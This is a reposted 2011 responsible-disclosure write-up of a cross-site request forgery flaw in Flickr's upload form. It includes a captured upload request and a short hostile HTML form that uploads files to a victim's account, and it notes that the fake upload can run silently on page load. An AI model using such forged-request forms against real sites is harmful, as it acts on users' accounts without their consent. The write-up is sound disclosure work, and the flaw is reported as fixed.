Invisible arbitrary CSRF file upload in Flickr.com

[Nytro]

Invisible arbitrary CSRF file upload in Flickr.com

Mic studiu de caz.

Summary

Basic upload form in Flickr.com was vulnerable to CSRF. Visiting a malicious page while being logged in to Flickr.com (or using Flickr.com 'keep me signed in' feature) allowed attacker to upload images or videos on user's behalf. These files could have all the visibility / privacy settings that user can set in Basic Upload form. Uploading files did not require any user intervention and/or consent.

Described vulnerability has been quickly fixed by Flickr.com team.

The exploit is an example of using my HTML5 arbitrary file upload method.

Demo:

Vulnerability description

Flickr.com basic upload form displayed on http://www.flickr.com/photos/upload/basic/ submits a POST request with multipart/form-data MIME type (standard HTTP File Upload form).

This request looks like this:

POST /photos/upload/transfer/ HTTP/1.1
Host: up.flickr.com
User-Agent: Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.2.18pre) Gecko/20110419 Ubuntu/10.04 (lucid) Namoroka/3.6.18pre
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-us;q=0.7,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-2,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.flickr.com/photos/upload/basic/
Cookie: BX=somecookies&b=3&s=rv; localization=en-us%3Bus%3Bpl; current_identity_provider_name=yahoo; current_identity_email=removed@example.com; cookie_session=session-id-here
Content-Type: multipart/form-data; boundary=---------------------------410405671879807276394827599
Content-Length: 29437

-----------------------------410405671879807276394827599
Content-Disposition: form-data; name="done"

1
-----------------------------410405671879807276394827599
Content-Disposition: form-data; name="complex_perms"

0
-----------------------------410405671879807276394827599
Content-Disposition: form-data; name="magic_cookie"

8b84f6a5d988b5f3a1be31c841042f41
-----------------------------410405671879807276394827599
Content-Disposition: form-data; name="file1"; filename="0011.jpg"
Content-Type: image/jpeg

[binary-data-here]
-----------------------------410405671879807276394827599
Content-Disposition: form-data; name="tags"


-----------------------------410405671879807276394827599
Content-Disposition: form-data; name="is_public_0"

1
-----------------------------410405671879807276394827599
Content-Disposition: form-data; name="safety_level"

0
-----------------------------410405671879807276394827599
Content-Disposition: form-data; name="content_type"

0
-----------------------------410405671879807276394827599
Content-Disposition: form-data; name="Submit"

UPLOAD
-----------------------------410405671879807276394827599--

On line 11 there are some Flickr.com cookies, there is also a magic_cookie form field which looks like an anti-CSRF token. However, it was not verified properly. Changing the value or removing magic_cookie field still resulted in successful file upload.

To make things worse, Flickr.com uses persistent cookie BX for 'keep me signed in' feature. Sending POST request to http://up.flickr.com/photos/upload/transfer/does not require an active session set up beforehand. If BX cookie is present, Flickr.com will silently sign the user in while processing the request. Therefore all accounts using Flickr.com 'keep me signed in' feature were potential targets of described attack.

Attack

Malicious page with this HTML code:

<form enctype=multipart/form-data action="http://up.flickr.com/photos/upload/transfer/" method="post">
<input type=hidden name=is_public_0 value=1>
<input type=file name=file1>
<input type="submit">
<!-- no magic_cookie here, still works -->
</form>

was able to submit a file to Flickr.com on logged in user's behalf, because the browser would attach the Flickr cookies to the request, and Flickr had no way of distinguishing it from a legitimate request (a classic CSRF vulnerability).

Above technique required user to manually choose the file from his HDD. However, using my method a malicious page was able to construct the raw multipart/form-data request in Javascript and send it quietly without user interaction. In the demo video, a button press is required, but this is only for presentational purposes. File upload can be triggered automatically on page load.

As a result, visiting malicious page in browsers supporting CORS requests as per specification (Firefox 4, Chrome) while using Flickr.com 'keep me signed in' feature (or having an active Flickr.com session) resulted in uploading images and videos chosen by attacker to Flickr.com photostream (with visibility settings, tags etc. chosen by the attacker).

Exemplary exploit code is here.

Fix

As of today, Flickr.com fixed the issue and contacted me to confirm the fix - all within a few hours since notifying, great work guys! Now magic_cookie value is checked upon processing the upload request.

Timeline

17.05.2011 - vulnerability discovered

18.05.2011 - vendor notified

18.05.2011 - vendor responded, fix released

Sursa: Invisible arbitrary CSRF file upload in Flickr.com